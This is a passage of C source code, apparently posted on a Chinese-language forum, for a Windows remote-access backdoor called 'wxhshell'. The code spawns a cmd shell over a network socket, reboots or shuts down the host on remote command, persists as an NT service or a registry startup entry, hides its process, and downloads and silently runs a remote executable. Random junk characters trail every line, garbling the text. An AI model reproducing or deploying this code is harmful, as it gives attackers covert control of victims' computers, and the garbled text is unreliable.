  if(DownloadFile(cmd,wsh)) uU25iDn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z/;aT -N  
  else I(0~n,=j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iW /}#  
  } Q)[C?obd v  
  else { > "=>3  
J6aef ^>  
    switch(cmd[0]) { & 9 ?\b7  
  [1 9,&]z  
  // 帮助 KyQX!,rV  
  case '?': { Hg$lXtn]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Vk3kmuvr]  
    break; 46&/gehr  
  } /d<P-!fK  
  // 安装 ~La>?:g <+  
  case 'i': { EJNU761  
    if(Install()) fsWTF<Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  'CkIz"Wd  
    else 'y3!fN =h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fun^B;GA:  
    break; vOpK Np  
    } 7s{GbU\  
  // 卸载 <<R*2b  
  case 'r': { kq,ucU%>p  
    if(Uninstall()) e&aWq@D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r? E)obE  
    else p2$P:!Y)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fDU!~/#  
    break; V /V9B2.$  
    } BKjS ,2C  
  // 显示 wxhshell 所在路径 7Da`   
  case 'p': { }2<7%FL  
    char svExeFile[MAX_PATH]; SJ>vwmA4  
    strcpy(svExeFile,"\n\r"); d,n 'n  
      strcat(svExeFile,ExeFile); [e}]}t8m  
        send(wsh,svExeFile,strlen(svExeFile),0); (c &mCJN  
    break; sI^Xb@'09$  
    } K}MK<2vU  
  // 重启 <;Zmjeb+#  
  case 'b': { cP_.&!T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JHTSUq  
    if(Boot(REBOOT)) o="M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -fHy-Oh  
    else { 8&`LYdzt  
    closesocket(wsh); u frL<]A  
    ExitThread(0); pohp&Tcm  
    } }oGA-Qc}B  
    break; ~g ZLY ls  
    } 'Xq| Kf (  
  // 关机 o]M5b;1  
  case 'd': {  DwE[D]7o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O*)Vhw'pK  
    if(Boot(SHUTDOWN)) f5VLw`m}.8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EVC]sUT  
    else { ~;{; ,8!)  
    closesocket(wsh); !_'ur>iR  
    ExitThread(0); '=8d?aeF  
    } 'XP7" N47O  
    break; uH- l%17  
    } LR.<&m%~.  
  // 获取shell Fgh_9S9J  
  case 's': { A1>OY^p3%  
    CmdShell(wsh); Oso#+  
    closesocket(wsh); *@=/qkaJaI  
    ExitThread(0); ~^fZx5  
    break; XXcl{1Kp!@  
  } Jgd'1'FOs  
  // 退出 e_ANUll1  
  case 'x': { P'[3Fqe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EC!02S  
    CloseIt(wsh); Mc_YPR:C  
    break; 9u}Hmb  
    } lbl?k5  
  // 离开 a>I+]`g  
  case 'q': { _ y8Wn}19f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'Nn zk  
    closesocket(wsh); ""F5z,'  
    WSACleanup(); f=gW]x7'R+  
    exit(1); V/ uP%'cd  
    break; '3D XPR^B6  
        } ca*DZG/  
  } ']z{{UNUN  
  } YdC6k?tzS  
rkCx{pe9  
  // 提示信息 4`]^@"{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]i ,{  
} D_^ nI:  
  } VfC<WVYiZ  
A:N|\Mv2b  
  return; O6a<`]F  
} _w+:Dv~*a  
?u=Fj_N_  
// shell模块句柄 j8{i#;s!"  
int CmdShell(SOCKET sock) qqr?!vem6  
{ f:|1_j  
STARTUPINFO si; 6J6BF%  
ZeroMemory(&si,sizeof(si)); .A{tQ1&_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QIvVcfM^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {e9@-  
PROCESS_INFORMATION ProcessInfo; JZ*/,|1}EC  
char cmdline[]="cmd"; ju8q?Nyhs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bj0G5dc=  
  return 0; A_ N;   
} 0c'<3@39k|  
KNpl:g3{<Q  
// 自身启动模式 yyRiP|hJ  
int StartFromService(void) '(yAfL 9}  
{ g:D>.lKd  
typedef struct -)]Yr #Q  
{ e~[/i\  
  DWORD ExitStatus; L Mbn  
  DWORD PebBaseAddress; [{<`o5qR  
  DWORD AffinityMask; [-k  
  DWORD BasePriority; x_6[P2"PP  
  ULONG UniqueProcessId; LW'D?p#  
  ULONG InheritedFromUniqueProcessId; FR4QUk  
}   PROCESS_BASIC_INFORMATION; pW@Pt 3u  
wb5baY9  
PROCNTQSIP NtQueryInformationProcess; tip+q d  
OSWYGnZg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R_ ,UMt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2U\u4N O{  
[OV"}<V  
  HANDLE             hProcess; ," Wr"  
  PROCESS_BASIC_INFORMATION pbi; aa?b`[Xa  
H*&f:mfq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }{qZ[/JwqN  
  if(NULL == hInst ) return 0; k,E{C{^M  
EZy)A$|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \fyRsa)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N~d?WD\^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ceh j;  
"9P>a=Y  
  if (!NtQueryInformationProcess) return 0; \y)rt )  
{ MSkHf=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |\<`Ib4j  
  if(!hProcess) return 0; ~'iHo]9O  
'()xHEGl3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }=UHbU.n~!  
E$:*NSXj  
  CloseHandle(hProcess); W*4-.*U8a  
o"Euwh!!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M7a.8-!1  
if(hProcess==NULL) return 0; djQH1^ (IU  
KL:j?.0  
HMODULE hMod; ?'#` nx(!  
char procName[255]; !M]uL&:  
unsigned long cbNeeded; `H_3Uc  
$L>@Ed<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >#;.n(y  
BNl5!X^{  
  CloseHandle(hProcess); c74.< @w  
6C^ D#.S  
if(strstr(procName,"services")) return 1; // 以服务启动 m )zUU  
-MO#]K3<  
  return 0; // 注册表启动 ./k/KSR  
} @ ZwvBH  
=wHVsdNCN  
// 主模块 Zq|I,l0+E  
int StartWxhshell(LPSTR lpCmdLine) t#/YN.@r  
{ !t %j?\f  
  SOCKET wsl; VT%NO'0  
BOOL val=TRUE; trA4R/ &  
  int port=0; V>%rv'G8  
  struct sockaddr_in door; Ic:(Gi- %  
dvx#q5f_S  
  if(wscfg.ws_autoins) Install(); }DE g-j,F  
B5VKs,g  
port=atoi(lpCmdLine); 9ni1f{k  
C'@i/+  
if(port<=0) port=wscfg.ws_port; Ae^~Cz1qz  
3!Ij;$  
  WSADATA data; tr3! d_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?|C2*?hZ+  
H8^(GUhyp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eRstD>r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uk]$#TV*q>  
  door.sin_family = AF_INET; He/8=$c%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +I:Unp  
  door.sin_port = htons(port); ;Ax }KN7  
C12Fl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nw/  ku  
closesocket(wsl); ksqQM  
return 1; `$<.pOm  
} m 3hrb-  
2K6qY)/_  
  if(listen(wsl,2) == INVALID_SOCKET) { c|B('3h  
closesocket(wsl); <X^@*79m  
return 1; 4 Y9`IgQ  
} /cdC'g  
  Wxhshell(wsl); |`,2ri*5A  
  WSACleanup(); |=ba9&q  
ufZDF=$7  
return 0; 7P5)Z-K[  
Rz:]\jcIT/  
} gHEu/8E  
Ugt/rf5n  
// 以NT服务方式启动 gNrjo=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [{,T.;'<j  
{ Apag{Z]^B  
DWORD   status = 0; L>NL:68yN  
  DWORD   specificError = 0xfffffff; 9r<J"%*Q  
"]x'PI 4J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y`5 9A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jr!JHC9i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D~iz+{Q4  
  serviceStatus.dwWin32ExitCode     = 0; Uh4%}-;  
  serviceStatus.dwServiceSpecificExitCode = 0; !bx;Ta.  
  serviceStatus.dwCheckPoint       = 0; _QE qk@ql  
  serviceStatus.dwWaitHint       = 0; x7w4[QYw  
xY8$I6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jbg/0|1  
  if (hServiceStatusHandle==0) return; o5O#vW2Il&  
(k)v!O-  
status = GetLastError(); ww3-^v  
  if (status!=NO_ERROR) z`}qkbvi  
{ 1;8UC;,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S-b/S5  
    serviceStatus.dwCheckPoint       = 0; ?V.cOR`6  
    serviceStatus.dwWaitHint       = 0; g \:[ 55;8  
    serviceStatus.dwWin32ExitCode     = status; 1~`fVg  
    serviceStatus.dwServiceSpecificExitCode = specificError; `pS9_ NYZ}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EhvX)s  
    return; 9c'xHO`  
  } 7wqK>Y1a  
[`[|l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #&k5 d:  
  serviceStatus.dwCheckPoint       = 0; JPUW6e07o  
  serviceStatus.dwWaitHint       = 0; 1Z2HUzqh.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t+ G#{n  
} fc3{sZE2M  
) 7@ `ut  
// 处理NT服务事件,比如:启动、停止 .bg~>T+<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F6|]4H.3Q  
{ $dC?Tl|B0  
switch(fdwControl) EU;9 *W<  
{ >dD@j:Qc  
case SERVICE_CONTROL_STOP: 1{. |+S Z!  
  serviceStatus.dwWin32ExitCode = 0; `?@}>.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u@M,qo`  
  serviceStatus.dwCheckPoint   = 0; ]Sz:|%JP1  
  serviceStatus.dwWaitHint     = 0; MYvY]Jx3  
  { 'ya{9EdlT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H;LViP2K*  
  } =zPCrEk0  
  return; 7"x;~X  
case SERVICE_CONTROL_PAUSE: S Lj!v&'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iB yf{I>+  
  break; pRpBhm;iJ  
case SERVICE_CONTROL_CONTINUE: wo/\]5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  KC6.Fr{  
  break; [kB7@o  
case SERVICE_CONTROL_INTERROGATE: UHkMn  
  break; ! E5HN :#  
}; Vwf$JdK%&l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3M7/?TMw{6  
} <2x^slx)?  
i$#;Kpb`^  
// 标准应用程序主函数 O+]ZyHnB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sy_G,+$\  
{  'KL0@l  
v$v-2y'%  
// 获取操作系统版本 -f^tE,-  
OsIsNt=GetOsVer(); 6l x>>J!H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LL|r A:  
ie95rZp  
  // 从命令行安装 iHf$  
  if(strpbrk(lpCmdLine,"iI")) Install(); & h)yro  
6;d*r$0Fc  
  // 下载执行文件 1(R}tRR7R  
if(wscfg.ws_downexe) { f~R(D0@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /-'}q=M  
  WinExec(wscfg.ws_filenam,SW_HIDE); %)1?TU  
} ;[YG@-"XZ  
7Q9 w?y~c  
if(!OsIsNt) { [ l??A3G  
// 如果时win9x,隐藏进程并且设置为注册表启动 9;u@q%;!k  
HideProc(); ?e4YGOe.  
StartWxhshell(lpCmdLine); -@2iaQ(5a2  
} ltSU fI  
else ,w4(kcg%iQ  
  if(StartFromService()) : *#-%0  
  // 以服务方式启动 o5PO =AN  
  StartServiceCtrlDispatcher(DispatchTable); rXP,\ ]r+  
else AV]2 euyn  
  // 普通方式启动 my1@41 H  
  StartWxhshell(lpCmdLine); & J'idYD  
3;9^  
return 0; Mfuv0P~  
}
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只看该作者 1 发表于: 2006-10-10
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